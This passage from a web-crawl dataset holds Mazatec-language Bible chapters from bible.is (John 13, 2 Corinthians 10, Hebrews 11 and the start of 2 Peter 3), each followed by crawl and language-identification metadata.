tíjna'ta chraña‑la̱ Jesús, mé‑ni nga katakjònangì‑la̱ Jesús yá‑ni ra ko̱tsò‑la̱. 25Jè xi̱ta̱ ra̱kìi̱ isa̱á 'ñó tsikijna'tá'ñó-isa‑la̱ Jesús nga iskonangi‑la̱, kitsò‑la̱: ―Ji̱ Na̱'ìn, ¿yá‑ni ra ko̱'miàa̱ ji̱? 26Jesús kitsó‑la̱: ―Jngo‑yá ni̱ño̱ nchra̱jín siká'nchia̱, ko̱ jè ra tsja‑la̱ ni̱ño̱ nchra̱jín ra̱kìi̱ jè ní. A̱kjòn isikà'nchi̱ jngoyá ni̱ño̱ nchra̱jín ko̱ jé kitsjà‑la̱ jè Judas Iscariote, ti‑la̱ Simón. 27'Kia̱ nga ijye iskábé ni̱ño̱ nchra̱jín jè Judas, ndi̱to̱ón 'jaha'sen‑jin jè xi̱ta̱‑ni̱í ya̱ inìma̱‑la̱. 'Kia̱á kitsò Jesús: ―Jè kjoa̱ ra ko̱'si̱ìn, ndi̱to̱n kjòn ko̱'ti̱in. 28Jñà xi̱ta̱ ra i̱nchibakjèn, ni̱jngo kjòchi̱ya‑la̱ mé‑ni ko̱'sín kitsò‑la̱. 29Ta 'koa̱á 'sín isíkítsjen i'ka tsa tsò‑la̱: \"Ti̱ndá chibi tsajmì ra ko̱chjeén‑ná 'tse̱ 'sí.\" O̱ tsa tsó‑la̱: \"'Ti̱ chiba‑la̱ to̱n jñà xi̱ta̱ i̱ma̱.\" Nga̱ jé Judas nga̱tsja jè xijtsa to̱n, kií ko̱'sín isíkítsjen‑ni. 30'Kia̱ nga ijye iskine jè ni̱ño̱ nchra̱jín jè Judas, ndi̱to̱ón itjo ni'ya. Nga̱ ta̱ 'koa̱ ijyeé na̱ti jñò. 31'Kia̱ nga ijye itjo jè Judas, Jesús kitsò: ―'Ndi̱‑ni̱ ijyeé tí'ya‑la̱ jè kjoa̱jeya‑na̱ koni I'ndí‑la̱ Xi̱ta̱, ko̱ ti̱'koa̱á jè Nainá jeyaá tíjna a̱'ta 'tse̱ I'ndí‑la̱. 32Tsa jè Nainá jeya tíjna a̱'ta 'tse̱ I'ndí‑la̱, ti̱'koa̱á jè Nainá jeyaá si̱ìkíjna ra jè; ko̱ ndi̱to̱ón jcha̱‑la̱ kjoa̱jeya‑la̱. 33Jiòn ra ndí i̱xti‑na̱ xin‑no, mì tsa ti̱ tse kóti̱jnako̱‑no. Kjótsji‑nájiòn, tanga koni 'sín kíxin‑la̱ jñà xi̱ta̱ judío, 'koa̱á ti̱'sín xin‑najiòn 'ndi̱ 'ndi̱: Ya̱ ñánda̱ nga fia ra 'a̱n, mì kì ko̱ma kongió jiòn. 34Jngo kjo̱téxoma xi̱tse̱ títsja‑no nga tsjacha 'tio̱òn xàngio̱o nga jngó jngó‑no. Koni 'sín nga tsjake̱‑najiòn, 'koa̱á ti̱'sín tsjacha 'tia̱àn xàngio̱o nga jngó jngó‑no. 35Tsa ko̱'sín tsjacha 'sia̱an xàngio̱o nga jngó jngó‑no, 'koa̱á 'sín ske̱‑ní nga'tsì xi̱ta̱ nga jiòn‑jiòn, ngi kixi̱í kjoa̱ nga ya̱ chitá'yá'ta‑ná jiòn. 36Jè Simón Pedro iskonangií‑la̱ Jesús, kitsò‑la̱: ―Ji̱ Na̱'ìn, ¿ñánda̱ tji'mì? Jesús kitsó‑la̱: ―Ya̱ ñánda̱ nga tífia 'ndi̱ 'ndi̱, mì kì ko̱ma 'kín‑tji̱ngi‑ná; tanga a̱skaán 'kín‑tji̱ngi‑ná. 37Jè Pedro kitsò: ―Na̱'ìn, ¿mé‑ni nga mì ma kjín-tji̱ngi‑la̱ 'ndi̱ 'ndi̱? Tíjna̱nda‑ná nga ki̱yátjì‑la̱. 38'Kia̱á kitsò Jesús: ―¿A kixi̱í kjoa̱ nga 'a̱n si̱'ken‑tjí‑ná ijo‑li? Ngi 'én kixi̱í ra ko̱xin‑la, 'kia̱ nga ti̱kjè kjindáya jè káxti̱, jàn 'ka̱ ko̱síi̱ nga mì kì 'yaxkon‑ná.\nSan Juan 13","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/John\/13","date":"2013-12-12T03:42:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164447901\/warc\/CC-MAIN-20131204134047-00009-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000090599060059}","num_words":848,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.304,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'A̱n ra Pablo 'mì‑na, 'koa̱á 'sín tíbitsá'ba‑no a̱'ta 'tse̱ Cristo jè ra indakjoa̱ tíjna ko̱ ra tjín‑la̱ kjo̱nda. Nga̱ tjín i'ka xi̱ta̱ ra tsò nga 'kia̱‑ró ya̱ tíjna̱jin‑najiòn, 'ñó‑ró i̱ma̱ kjoa̱ 'siaa̱n, ko̱ 'kia̱ nga kjin tíjna̱, 'ñó‑ró xíjiaa̱n. 2'Koa̱á 'sín tíbitsá'ba‑no nga tje̱n tindajín i'ka kjoa̱ ra tjín, mé‑ni nga 'kia̱ nga kijchòo̱, mì tsa ti̱ 'a̱n 'ñó kokó‑na jñà xi̱ta̱ ra ko̱'sín i̱nchichja̱jno i'ka‑naji̱n, nga tsò nga ta 'koa̱á‑ró 'sín i̱nchi'nià‑ji̱n koni 'sín 'sín jñà ra taxki̱ xi̱ta̱ i̱sà'nde; ko̱ tsa majìn, 'a̱n ijyeé ko̱'sín tíjnanda nga ko̱'sín 'ñó kokóo̱ jñà xi̱ta̱ kìi̱. 3Kixi̱í kjoa̱, xi̱ta̱ i̱sà'nde‑náji̱n, tanga mì tsa ko̱'sín 'nià‑ji̱n koni 'sín 'sín jñà ra taxki̱ xi̱ta̱ i̱sà'nde 'kia̱ nga mé kjoa̱ ra bixkàn‑ko̱‑ji̱n. 4Jñà nga'ñó ra nichjeén‑ji̱n koni tsa ki̱cha̱ nga bixkàn‑tjì‑ji̱n ijo‑na̱ji̱n ya̱ i̱sà'nde, mì tsa a̱'ta 'tse̱ xi̱ta̱ nchrabá‑ni. A̱'ta 'tse̱é Nainá nchrabá‑ni, ko̱ maá‑la̱ nga síkjehesòn nga'tsì nga'ñó‑la̱ ni̱í ra batéchjà‑la̱ 'én‑la̱ Nainá. 5Ko̱ nìkitsón‑ña‑náji̱n nga'tsì kjo̱bítsjen ra 'cho tjín, ko̱ jngó jngó kjoa̱'ngatakòn ra batéchjà nga kondra̱ fì‑la̱ koni 'sín tjín kjoa̱chji̱ne̱‑la̱ Nainá, bìchjà'ya tsje‑náji̱n kjo̱bítsjen kìi̱ mé‑ni nga ta jè Cristo katasíhitjasòn‑la̱. 6Titsa̱jnanda‑náji̱n nga 'ki̱‑la̱ji̱n kjo̱hi'in nga'tsì ra mì si̱hitjasòn, 'kia̱ nga ijye jcha̱‑ji̱n nga ijyeé nda i̱nchinitjasòn ra jiòn. 7'Koa̱á 'sín chítsijen koni 'sín tjín kjoa̱ ra tíma. Tsa tjín jngo xi̱ta̱ ra ko̱'sín tsò‑la̱ ijo‑la̱ nga jè Cristo isìkasén, 'koa̱á 'sín nda katasíkítsjen nga ti̱'koa̱á ji̱n, jé kjón Cristo kisìkasén‑te‑náji̱n koni ra jè. 8Ni̱'sín sa'koa̱ 'a̱n 'ñó nda sìkíjnaa̱ ijo‑na̱ a̱'ta 'tse̱ xá ra ji̱n tsi'kì‑naji̱n, mì kì masabà‑na; nga̱ kií xá isìnga̱tsja‑naji̱n jè Na̱'ín‑ná jè xá ra̱kìi̱ mé‑ni nga jiòn, isa̱ nda ki̱tsa̱jna‑najiòn, mì tsa ki‑ni nga ji̱n si̱kitsón‑ya‑laji̱n, 9mé‑ni nga mì ko̱'sín ki̱ya‑najiòn nga ta jè ra mejèn‑na nga minchaxkón‑najiòn 'kia̱ nga ko̱'sín sikásén‑no xa̱jo̱n. 10Nga̱ tjín i'ka xi̱ta̱ ra tsò: \"Jñà xa̱jo̱n‑la̱ ra síkasén, sí 'ñó tíchja̱, ko̱ sí 'ñó tjín 'én ra síkasén. Tanga 'kia̱ nga ijye tíjna saba kjòn‑ni ra jè, mì tsa sí xkón 'ki‑ni, ko̱ jñà 'én ra chja̱, nda mí yá ra nda sísin‑la̱.\" 11Jè xi̱ta̱ ra ko̱'sín tsò, ko̱'sín nda katasijin‑la̱, koni 'sín tsò jñà 'én ra bi'ta‑ji̱n ya̱ xa̱jo̱n ra nikasén‑ji̱n 'kia̱ nga kjin titsa̱jna‑ji̱n, 'koa̱á ti̱'sín 'sia̱n‑ji̱n 'kia̱ nga ijye titsa̱jna masen kjòn‑ji̱n ya̱ a̱jin‑la̱ xi̱ta̱. 12Kixi̱í kjoa̱, mì kì tsò takòn‑ji̱n nga ya̱ nijngoko̱‑ji̱n ijo‑na̱ji̱n ko̱ mì tsa ya̱ níngásòn‑ko̱‑ji̱n jñà xi̱ta̱ ra ti̱jñà 'nga síkítsa̱jna‑ni ijo‑la̱. Jñà xi̱ta̱ kìi̱, 'kia̱ nga ti̱jñà síngásòn‑kjo‑ni ijo‑la̱ ko̱ ti̱jñà kotsíjen‑jnó‑ni xákjén, mì kì machi̱ya‑la̱ mé kjoa̱ ra 'sín. 13Mì tsa jè nda si̱kítsa̱jna‑naji̱n ijo‑na̱ji̱n ya̱ ñánda̱ mì tsa ya̱ bako̱‑naji̱n. Ko̱ mì kì tsa ko̱tonè‑la̱ji̱n chi̱ba̱‑la̱ koni 'ki nga ijye tjínda‑la̱ Nainá nga ma si̱xá‑ji̱n. Nga̱ jé kitsjá'nde‑naji̱n nga ma ijchò‑ji̱n skanda ya̱ ñánda̱ nga titsa̱jna jiòn ra xi̱ta̱ Corinto 'mì‑no. 14Kixi̱í kjoa̱, tsa mì‑laji̱n ijchò ítjòn‑ji̱n, i̱nchinìkatonè‑la̱ji̱n chi̱ba̱‑la̱ koni 'sín 'ki ki'tsì'nde‑naji̱n. Tanga ji̱ín ijchòko̱ ítjòn‑laji̱n jè 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Cristo. 15Mì tsa jñà nda i̱nchiníkítsa̱jna‑naji̱n ijo‑na̱ji̱n jñà xá ra ki'sìn xi̱ta̱ ra kj'ií; tsa ko̱'sín 'sia̱n‑ji̱n, 'kia̱á‑la nga ko̱tonè‑la̱ji̱n chi̱ba̱‑la̱. Jé ra mejèn‑naji̱n, koni 'sín nga isa̱ 'ñó ko̱kjiín-isa‑najiòn, 'koa̱á 'sín isa̱ ko̱tse‑isa jè xá ra 'sia̱n‑ji̱n ya̱ a̱jin tsa̱jiòn, tanga ta 'koa̱á 'sín tje̱n si̱xá‑ji̱n koni 'ki ijye tje̱n chi̱ba̱‑la̱. 16'Koa̱á 'sín 'kéna̱jmíya-isa‑ji̱n jè 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Cristo ya̱ i̱'nde ra fì‑isa nga bateé na̱xi̱ndá‑no ya̱ ñánda̱ nga kjè tsa yá ra bijchó 'kéna̱jmíya, mé‑ni nga mì jñà xá ra ijye ki'sìn xi̱ta̱ ra kj'ií, nda si̱kítsa̱jna‑naji̱n ijo‑na̱ji̱n. 17Jè ra jeya si̱ìkíjna ijo‑la̱, ta isa̱á jnchro jè Nainá jeya katasíkíjna. 18Nga̱ mì tsa jè ra nda ki̱tjongi jè ra ti̱jè nda síkíjna‑ni ijo‑la̱, jé‑ní ra jè Nainá ko̱'sín ki̱tso̱ nga bakén‑la̱ nga nda kíjna.\n2 Corintios 10","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/2Cor\/10","date":"2013-12-13T12:59:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164941653\/warc\/CC-MAIN-20131204134901-00009-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000094175338745}","num_words":608,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.34,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè kjoa̱ xi mokjeiín‑ná, jè‑né nga tjín kixi̱ nga tjoé‑ná jñà kjoa̱ xi chiñá‑lá; jè‑né nga tíjngoò takoán nga ki̱tasòn na̱s'ín mìkiì titsa̱'yaá xi kjoa̱ ni̱to̱n. 2Jñà xi̱ta̱ jchínga kjòtseé, koií kjoa̱‑la̱ nga kòkjeiín‑la̱ nga ndaá ki'ya‑la̱. 3Ta koi‑né nga mokjeiín‑ná nga ko̱s'ín machi̱ya‑ná nga jè Nainá, tà ko̱ó 'én‑la̱ tsibíndaà i̱sò'nde; kisìkatsejèn tsojmì xi mìkiì tsejèn nga sa̱ ítjòn. 4Abel, koií kjoa̱‑la̱ nga kòkjeiín‑la̱, kitsjaàt'aà‑la̱ Nainá kjo̱tjò xi ìsa̱ 'ñó ndaà kjoàn, mì k'oa̱à‑ne koni ts'e̱ Caín. K'oa̱á s'ín komà‑ne nga xi̱ta̱ kixi̱ kitsò‑la̱ Nainá Abel; kiskoé kjo̱tjò xi ijchòko̱‑la̱; skanda na̱chrjein i̱'ndei̱, tákó k'oa̱á s'ín tíchja̱ nga mokjeiín‑la̱, na̱s'ín jye k'en. 5Enoc, ti̱koa̱á kòkjeiín‑la̱; k'oa̱á s'ín komà‑ne nga kiìko̱ tíkon Nainá ján ngajmiì; mì ti̱ kiì kisakò‑ne k'e̱ nga jye kiìko̱. K'e̱ nga sa̱ tsibìjna i̱ i̱sò'nde, Enoc, k'oa̱á s'ín ki'ya‑la̱ nga ndaà kisaseèn takòn Nainá. 6Tsà mìkiì mokjeiín‑ná i̱t'aà ts'e̱ Nainá, mìkiì ko̱ma s'e̱én kjoa̱ xi sasén‑la̱ Nainá. Jè xi̱ta̱ xi síchrañat'aà‑la̱ Nainá mochjeén‑né nga ndaà ko̱kjeiín‑la̱ nga tíjna Nainá, ti̱koa̱ ko̱kjeiín‑la̱ nga ngats'iì xi̱ta̱ xi ótsji Nainá, tsjá‑la̱ kjo̱tjò xi ndaà tjín. 7Noé koií‑né nga kòkjeiín‑la̱, k'e̱ nga tsibéno̱jmí‑la̱ Nainá kjoa̱ xi i̱skan ko̱ma, kisìkitasòn; ko̱ó kjo̱xkón‑la̱ nga tsibíndaà jngoò chitso xi 'ñó je kji, mé‑ne nga mìkiì ki̱yá‑ne jñà xi̱ta̱ ni'ya‑la̱. Noé, nga ndaà kòkjeiín‑la̱, k'oa̱á s'ín tsibínè‑la̱ kjo̱'in xi̱ta̱ i̱sò'nde nga jé tjín‑la̱; ko̱ jè Noé kitjoé‑la̱ kjo̱tjò xi tsjá Nainá nga xi̱ta̱ kixi̱ kitsò‑la̱ ta koií kjoa̱‑la̱ nga kòkjeiín‑la̱. 8Abraham, nga kòkjeiín‑la̱ k'e̱ nga kiìchja̱‑la̱ Nainá, kisìkitasòn. Itjokàjiìn nangui‑la̱, kiì ya̱ i̱'nde ñánda tà kjo̱tjò tsjá‑la̱ Nainá, ta̱nga skanda mìkiì tíjiìn‑la̱ ñánda tífì. 9Koií kjoa̱‑la̱ nga kòkjeiín‑la̱, nga ko̱s'ín kisìjchá yijo‑la̱ koni tsà xi̱ta̱ xi xìn nangui‑la̱ na̱s'ín ya̱ tsibìjna ya̱ i̱'nde ñánda nga k'oa̱ kitsò‑la̱ Nainá nga tsjá kjo̱tjò‑la̱. Ni'ya nikjeé tsibìjnaya. Nga kiì‑ìsa na̱chrjein, k'oa̱á ti̱ komàt'in jè Isaac ko̱ Jacob, xi ti̱koa̱ k'oa̱s'ín kitsjaà‑la̱ 'én Nainá nga ts'e̱ ko̱ma nangui. 10Abraham tíkoña jngoò‑la̱ na̱xa̱ndá xi 'ñó ndaà tjín tàts'en chrjó‑la̱, nga jè Nainá kiskoòsòn‑la̱ kós'ín si̱ndaà ko̱ ti̱jè‑ne Nainá tsibíndaà. 11Koií kjoa̱‑la̱ nga kòkjeiín‑la̱ Abraham, nga na̱s'ín chjo̱ón 'ndi̱ jè chjo̱ón‑la̱ xi 'mì Sara, ko̱ na̱s'ín jye 'ñó xi̱ta̱ jchínga, kis'eé‑la̱ nga'ñó nga kisakò jngoò‑la̱ ki'ndí jè Sara, koií kjoa̱‑la̱ nga kòkjeiín‑la̱ nga Nainá si̱ìkitasòn koni s'ín jye kitsjaà‑la̱ 'én‑la̱. 12K'oa̱á ma‑ne nga ta jè ta̱jngoò xi̱ta̱ jè, na̱s'ín jye tífehet'aà na̱chrjein‑la̱, kjìn jchán ma i̱xti‑la̱ xi tje̱ ts'e̱ k'oa̱á ngaya‑la̱ koni jñà ni'ño xi tjín ngajmiì ko̱ tsomì xi jncha i̱ndiì ndáchikon nga mìkiì ma maxke̱ya. 13Ngats'iì xi̱ta̱ koi, k'oa̱á s'ín mokjeiín‑la̱ skanda k'e̱ nga k'en, na̱s'ín mìkiì kitjoé‑la̱ tsojmì xi Nainá k'oa̱s'ín kitsjaà 'én‑la̱ nga tsjá‑la̱; ta k'oa̱á s'ín kjòchi̱ya‑la̱ koni tsà ta kjiìn kijtseè‑ne; tsjaá kis'e‑la̱ nga kitsò nga mìtsà i̱ i̱'nde‑la̱, ta nchifahato‑né nga títsa̱jna i̱ i̱t'aà nangui. 14Jñà xi̱ta̱ xi koa̱tsò, k'oa̱á s'ín béno̱jmí kixi̱‑né nga sa̱á nchihótsji jngoò nangui xi nguì ts'e̱ ko̱ma. 15Tsà jè nchisíkítsjeèn nangui ñánda itjokàjiìn, o̱kixi̱‑né komá‑la kiì ìjngoò k'a‑ne i̱'nde ñánda inchrobà‑ne. 16Ta̱nga jngoò i̱'nde nchihótsji xi ìsa̱ ndaà choòn, i̱'nde xi ts'e̱ ngajmiì. K'oa̱á ma‑ne nga jè Nainá, mìkiì masobà‑la̱ nga ki̱tso̱‑la̱ xi̱ta̱: jè jèe̱ xi Nainá, nga jyeé kisìkíjnandaà jngoò‑la̱ i̱'nde ñánda na̱xa̱ndá‑la̱ ko̱ma nga ya̱ kítsa̱jna. 17Abraham, k'e̱ nga kichìt'aà, koií kjoa̱‑la̱ nga kòkjeiín‑la̱ nga kiskoé Isaac nga kitsjaàt'aà kjo̱tjò‑la̱ Nainá. Tsibìjnandaà nga tsjá‑la̱ ki'ndí‑la̱ xi ta jè ta̱jngoò‑ne, na̱s'ín xó k'oa̱s'ín kitsjaà‑ne 'én Nainá i̱t'aà ts'e̱ ki'ndí‑la̱, k'e̱ nga kitsò: 18\"I̱t'aà ts'e̱ Isaac, kjìn jchán ko̱ma xi̱ta̱ tje̱‑lè.\" 19Abraham k'oa̱á s'ín kisìkítsjeèn nga Nainá tjín‑la̱ nga'ñó nga ma‑la̱ síkjaáya‑la̱ xi̱ta̱ na̱s'ín jye k'en. Kitjoé ìjngoò k'a‑la̱ ki'ndí‑la̱ koni tsà jaáya‑la̱ i̱t'aà ts'e̱ kjoa̱biyaà. 20Isaac, koií kjoa̱‑la̱ nga mokjeiín‑la̱ nga kisìjét'aà‑la̱ Nainá nga kàtasíchikon‑t'in Jacob ko̱ Esaú i̱t'aà ts'e̱ kjoa̱ xi i̱skan ko̱ma. 21Koií kjoa̱‑la̱ nga mokjeiín‑la̱ Jacob, k'e̱ nga jye tíbiyaà, kisìjét'aà‑la̱ Nainá nga kàtasíchikon‑t'in ingajò i̱xti‑la̱ José; síngui'ñó tsja yá nise‑la̱ nga jeya kisìkíjna Nainá. 22Koií kjoa̱‑la̱ nga mokjeiín‑la̱ José, k'e̱ nga jye tíbiyaà, tsibéno̱jmí kós'ín ko̱mat'in jñà xi̱ta̱ Israel nga ki̱tjokàjiìn na̱xa̱ndá Egipto. Ti̱koa̱ kitsjaà o̱kixi̱ i̱t'aà ts'e̱ nindaà‑la̱ ñánda kji̱ko̱. 23Xi̱ta̱ jchínga‑la̱ Moisés, koií kjoa̱‑la̱ nga kòkjeiín‑la̱ nga jàn sá kisìkíjna'ma ki'ndí‑la̱ k'e̱ nga sa̱ kits'iìn, nga kijtseè nga 'ñó ndaà kji i̱sén‑la̱ ki'ndí‑la̱, ko̱ mìkiì kitsakjòn‑la̱ kjo̱tíxoma‑la̱ xi̱ta̱xá ítjòn ts'e̱ na̱xa̱ndá Egipto. 24K'e̱ nga jye kòjchínga Moisés, koií kjoa̱‑la̱ nga kòkjeiín‑la̱ nga mìkiì kisaseèn‑la̱ nga nea̱‑la̱ kitsò‑la̱ tsòti‑la̱ faraón. 25Tà sa̱á jè jaàjiìn nga kjo̱'in kisìkjeiín ko̱ na̱xa̱ndá‑la̱ Nainá, mì k'oa̱‑ne nga kjo̱tsja tsjá‑la̱ yijo‑la̱ xi kjoa̱ ts'e̱ jé. 26K'oa̱á s'ín kiskoòsòn‑la̱ nga ìsa̱ 'ñó chjí‑la̱ kjo̱'in xi si̱ìkjeiín xi i̱t'aà ts'e̱ Cristo mì k'oa̱á‑ne nga kjo̱tsja tsjá‑la̱ yijo‑la̱ xi kjoa̱ nchi̱ná ts'e̱ na̱xa̱ndá Egipto. Kiskoñákjoa̱á‑la̱ kjo̱ndaà xi i̱skan tsjá‑la̱ Nainá. 27Koi‑né nga ti̱koa̱ kòkjeiín‑la̱ nga itjokàjiìn na̱xa̱ndá Egipto; mìkiì kitsakjòn‑la̱ kjoa̱jti‑la̱ jè xi̱ta̱xá ítjòn; kixi̱í tsibìjna koni tsà xko̱n tíbeè‑ne Nainá xi ni̱ sa̱á jngoò xi̱ta̱ beèxkon. 28Moisés, nga kòkjeiín‑la̱, tsjachrje s'eí Paxko̱. K'oa̱á kitsò‑la̱ ngats'iì xi̱ta̱ Israel nga jní si̱ìkaàjno xotjoa̱ ni'ya‑la̱ mé‑ne jè àkja̱le̱‑la̱ Nainá mìkiì si̱ìk'en jñà xi ki'ndítjòn‑la̱ ts'e̱ xi̱ta̱ Israel. 29Jñà xi̱ta̱ Israel, nga kòkjeiín‑la̱, tsatojiìn jè xi 'mì Ndáchikon Inì koni tsà nangui kixì. Jñà xi̱ta̱ Egipto, k'e̱ nga kijtseè, mejèn‑la̱ nga k'oa̱ ti̱s'ín kis'iìn, ta̱nga ta ya̱á k'en yije ya̱ i̱jiìn ndáchikon. 30Nga kòkjeiín‑la̱ xi̱ta̱ Israel, kisìkixòjen chrjó xi tjíndiì‑la̱ na̱xa̱ndá Jericó, k'e̱ nga jye kjò itoò na̱chrjein bítjindiì‑la̱ jé na̱xa̱ndá. 31Koií nga kòkjeiín‑la̱ Rahab xi chjo̱ón chijngui nga mì ya̱ k'en‑ko̱ jñà xi̱ta̱ xi mìkiì mokjeiín‑la̱, koií kjoa̱‑la̱ nga ndaà kijtseètjò jñà xi̱ta̱ Israel xi ítjòn ijchò kotsejèn 'ma‑la̱ nangui. 32¿Mé kjoa̱ xi kèno̱jmí ìsa̱? Mì‑la kiì chíya‑na na̱chrjein nga kichjà i̱t'aà ts'e̱ Gedeón, ts'e̱ Barac, ts'e̱ Sansón, ts'e̱ Jefté, ts'e̱ David, ts'e̱ Samuel ko̱ ngats'iì xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá. 33Koií nga kòkjeiín‑la̱ xi̱ta̱ koi nga kis'e i'nga xi kisìkijne‑la̱ kjoa̱ ts'e̱ kjo̱jchán, xi kixi̱ tsibíndaàjiìn kjoa̱, xi Nainá kitsjaà‑la̱ koni s'ín jye kitsò‑la̱ xi tso'ba kiìchja̱‑ne, xi tsibíchjoàjto tso'ba xa. 34Kis'eé i'nga xi kisìkits'o nga'ñó‑la̱ ni'ín jnga̱, xi itjomachinga‑la̱ nga ki̱cha̱ ndojò k'en‑ne, xi kis'e ìjngoò k'a‑la̱ nga'ñó na̱s'ín xk'én kjoàn, xi kis'e‑la̱ nga'ñó kjoa̱ ts'e̱ kjo̱jchán, xi kisìkijne‑la̱ xi̱ta̱ kjo̱jchán xi kondra̱ ts'e̱. 35Kis'eé i'nga íchjín xi kitjoé ìjngoò k'a‑la̱ xi̱ta̱ xíkjín xi jye k'en nga jaáya‑la̱. Ta̱nga tjín i'nga xi ya̱ k'en‑jiìn kjo̱'in; mìkiì kjòmejèn‑la̱ nga tsibìtsa̱jnandei̱í, nga k'oa̱á s'ín kjòmejèn‑la̱ nga ìsa̱ ndaà kítsa̱jna k'e̱ nga kjoa̱áya‑la̱. 36Xi i'nga, kisìkjeiín kjo̱'in nga kinìsobà‑la̱, kiskaàn‑ko̱ xi̱ta̱, skanda na'ñó ki̱cha̱ cadena kisit'aà'ñó i̱ya nda̱yá. 37Tjín i'nga xi nda̱jo̱ kisinè nga kinìk'en; tjín i'nga xi ki̱cha̱ serrote kjòjòya‑ne; tjín xi ki̱cha̱ ndojò k'en‑ne. Xki̱ xi ján chinchimasòn, tà chrjoa̱‑la̱ orrè ko̱ chrjoa̱‑la̱ tíndsó tsakakjá nga 'ñó i̱ma̱ chinchima, tseé kjo̱'in kis'e‑la̱ ko̱ 'ñó ki'yatoòn. 38Jñà xi̱ta̱ koi, nga 'ñó ndaà kòkjeiín‑la̱ i̱t'aà ts'e̱ Nainá, skanda mìkiì ok'ìn‑la̱ nga i̱ tsibìtsa̱jna i̱sò'nde. Xki̱ xi ján chinchimasòn ya̱ i̱'nde i̱t'aà xìn ñánda nangui kixì choòn, kóho̱kji i̱jiìn ijñá ko̱ i̱ngui nguijo ko̱ nga̱jo̱ xi ti̱x'á i̱jiìn nangui. 39Ngats'iì xi̱ta̱ koi, koni s'ín nga ndaà kòkjeiín‑la̱ ndaá ki'ya‑la̱, ta̱nga ni̱jngoò kitjoé‑la̱ xi Nainá tjín‑ne nga tsjá‑la̱ koni s'ín jye kitsjaà‑la̱ 'én‑la̱. 40Nainá tsibíndaà jngoò‑ná kjoa̱ xi ìsa̱ 'ñó ndaà tjín, mé‑ne jñà xi̱ta̱ koi, ngásòn ko̱ngásòn‑kjoaá nga ni̱mé chi̱jat'aà‑ná nga kixi̱ ki̱tsa̱jnaá.\nHebreos 11","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Heb\/11","date":"2013-12-11T15:07:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164037762\/warc\/CC-MAIN-20131204133357-00084-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.0000083446502686}","num_words":1170,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.292,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ndí 'ndsè ra 'ñó matsjake̱‑no, jé xa̱jo̱n ra̱kìi̱ ra ma‑ni jò ra tíbindá‑no; ta ngajò xa̱jo̱n kìi̱, 'koa̱á 'sín síkítsjen‑yá‑no nga jñà tiya skò kjo̱bítsjen ra kixi̱ tjín, 2mé‑ni nga ko̱'sín si̱kítsjen‑yá‑najiòn jñà 'én ra tsakón‑ya nga 'sa̱ kjotseé jñà xi̱ta̱ tsje‑la̱ Nainá ra isìchjeén nga kiìchja̱ ngajo‑la̱, ko̱ jñà kjo̱téxoma 'tse̱ Na̱'ín‑ná ra tíjna ítjòn‑ná ko̱ ra tsachrjekàjin‑ná kjo̱hi'in koni 'sín nga kitsò‑no jñà xi̱ta̱‑la̱ ra jè tsikíxáya‑la̱. 3Jé ra 'ñó machjeén nga nda katasijin‑najiòn, 'kia̱ nga ko̱chraña nga kje̱he'tà ni̱chjin, 'se̱é xi̱ta̱ ra si̱itsja'tin‑najiòn, ra ya̱ kítsa̱jin kjoa̱'cho ra síjé ijo‑la̱; 4nga ki̱tso̱: \"¿Ñánda̱ tíjna‑ni jñà 'én ra kitsò nga kj'i̱í india‑ni Cristo? Ijyeé 'ken tsje‑ni xi̱ta̱ jchínga, ko̱ takó 'koa̱á chon 'ndi̱‑ni̱ koni 'sín chon skanda 'kia̱ nga ti̱'sa̱ isinda i̱sà'nde.\" 5Tanga jñà xi̱ta̱ kìi̱, ta xá 'koa̱á 'sín síjchaàjin‑ni nga jè ngajmi tíjna‑ni skanda ti̱'sa̱ kjotseé, ko̱ jè nangi a̱'ta 'tse̱é nandá inchrabà'ta‑ni ko̱ ya̱á tsatsíjen ya̱ a̱jin nandá koni 'sín tsò 'én ra kiìchja̱ Nainá. 6Ko̱ ti̱jé‑ni 'én ra kiìchja̱ Nainá ra ko̱'sín ki'sìn nga nandá kisìkjehesòn jñà xi̱ta̱ ra tjín jè i̱sà'nde ra tíjna ni̱chjin 'kia̱. 7Jè 'én ra kitsjà Nainá, 'koa̱á 'sín tsò‑te nga jè ngajmi ko̱ nangi ra tjín 'ndi̱ 'ndi̱, 'koa̱á 'sín ijye tjítsa̱jnanda mé‑ni nga ki̱ti̱‑ni 'kia̱ nga ki̱jchò ni̱chjin nga si̱ndajín‑la̱ nga'tsì xi̱ta̱ i̱sà'nde ko̱ ti̱'koa̱ kje̱hesòn ijye nga'tsì xi̱ta̱ ra mì kì bexkón Nainá. 8Jiòn ndí 'ndsé ra tsjake̱‑no, kì niìjchaàjin jiòn kjoa̱ kìi̱: Nga̱ jè Na̱'ín‑ná, ra jngo ni̱chjin, 'koa̱á 'sín tsò‑la̱ koni tsa jngo jmi 